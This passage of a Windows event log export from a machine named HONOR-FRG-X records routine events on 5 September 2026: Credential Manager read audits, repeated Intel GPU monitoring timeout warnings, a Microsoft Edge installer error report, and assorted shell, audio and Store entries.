ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.076\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.076\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.077\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.106\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.106\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.106\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.328\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.339\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.340\t28117\tShortcut for application Microsoft Edge with ID MSEdge and flags 0x39 is updated in app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.364\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.365\t28117\tShortcut for application Microsoft Edge with ID MSEdge and flags 0x19 is updated in app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.368\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.371\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.378\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:30.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:30.614\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:30.850\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.851\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.855\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.855\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:31.059\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:31.281\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:31.505\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:31.727\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:32.508\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:32.683\t1\t\tInformation\tMicrosoft-Windows-WER-PayloadHealth/Operational\tMicrosoft-Windows-WER-PayloadHealth\n05.09.2026 09:07:32.729\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:32.838\t1001\t\"Fault bucket 1335943769315561378, type 5\nEvent Name: crashpad_log\nResponse: \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\nCab Id: 0\n\nProblem signature:\nP1: setup.exe\nP2: 152.0.4191.66\nP3: EdgeInstallerError|msedge\nP4: 0x21f\nP5: \nP6: \nP7: \nP8: \nP9: \nP10: \n\nAttached files:\n\\\\?\\C:\\Windows\\SystemTemp\\msedge_installer.log\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\WER.cb0fd2f7-8c3a-4ec5-b556-d8539b63e7bb.tmp.WERInternalMetadata.xml\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\WER.1cd59d7b-10f5-456c-92c9-bbc2690c40cb.tmp.csv\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\WER.a91dcba5-995c-4c53-8ee9-ac97f2cc9341.tmp.txt\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\WER.2e064481-6563-48cd-bfde-c1fec5b5e223.tmp.xml\n\nThese files may be available here:\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\NonCritical_setup.exe_5e669a226662be207f9befb6263066e17763cb_00000000_511c3ca4-3902-47a0-b678-1fb4198c6818\n\nAnalysis symbol: \nRechecking for solution: 0\nReport Id: 511c3ca4-3902-47a0-b678-1fb4198c6818\nReport Status: 268435456\nHashed bucket: 66b5a28723fa9a68828a39c7b1f34fa2\nCab Guid: 0\"\tInformation\tApplication\tWindows Error Reporting\n05.09.2026 09:07:32.862\t1001\t\"Fault bucket , type 0\nEvent Name: crashpad_log\nResponse: \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\nCab Id: 0\n\nProblem signature:\nP1: setup.exe\nP2: 152.0.4191.66\nP3: EdgeInstallerError|msedge\nP4: 0x21f\nP5: \nP6: \nP7: \nP8: \nP9: \nP10: \n\nAttached files:\n\\\\?\\C:\\Windows\\SystemTemp\\msedge_installer.log\n\nThese files may be available here:\nNULL\n\nAnalysis symbol: \nRechecking for solution: 0\nReport Id: 511c3ca4-3902-47a0-b678-1fb4198c6818\nReport Status: 268697600\nHashed bucket: \nCab Guid: 0\"\tInformation\tApplication\tWindows Error Reporting\n05.09.2026 09:07:32.950\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:33.285\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:33.506\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:33.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:33.947\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:34.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:34.380\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:34.604\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:34.827\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:35.047\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:35.269\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:35.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:35.814\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:36.258\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:36.481\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:36.706\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:36.933\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:37.145\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:37.585\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.034\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.255\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.694\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.909\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:39.243\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:39.464\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:39.687\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:39.901\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:41.333\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:41.775\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:41.999\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:42.561\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:42.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:43.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:43.837\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:43.864\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:43.889\t22\tSuspended: false\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:07:43.921\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:07:43.921\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:07:44.007\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:44.229\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:44.449\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:44.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:45.119\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:45.919\t1\tTenant P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 has been registered for telemetry usage.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 09:07:46.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:46.406\t0\tService stopped.\tInformation\tApplication\tedgeupdate\n05.09.2026 09:07:46.559\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:46.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:47.006\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:47.230\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:47.678\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:47.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:48.107\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, CIMWin32, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:07:48.121\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:48.681\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:49.017\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:49.241\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:49.798\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:50.020\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:50.241\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:50.461\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:50.682\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:52.022\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:54.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:55.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:55.258\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:55.265\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"OpenWith\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:59.356\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T02:07:59Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:08:01.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:01.403\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:01.408\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:01.632\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:01.966\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 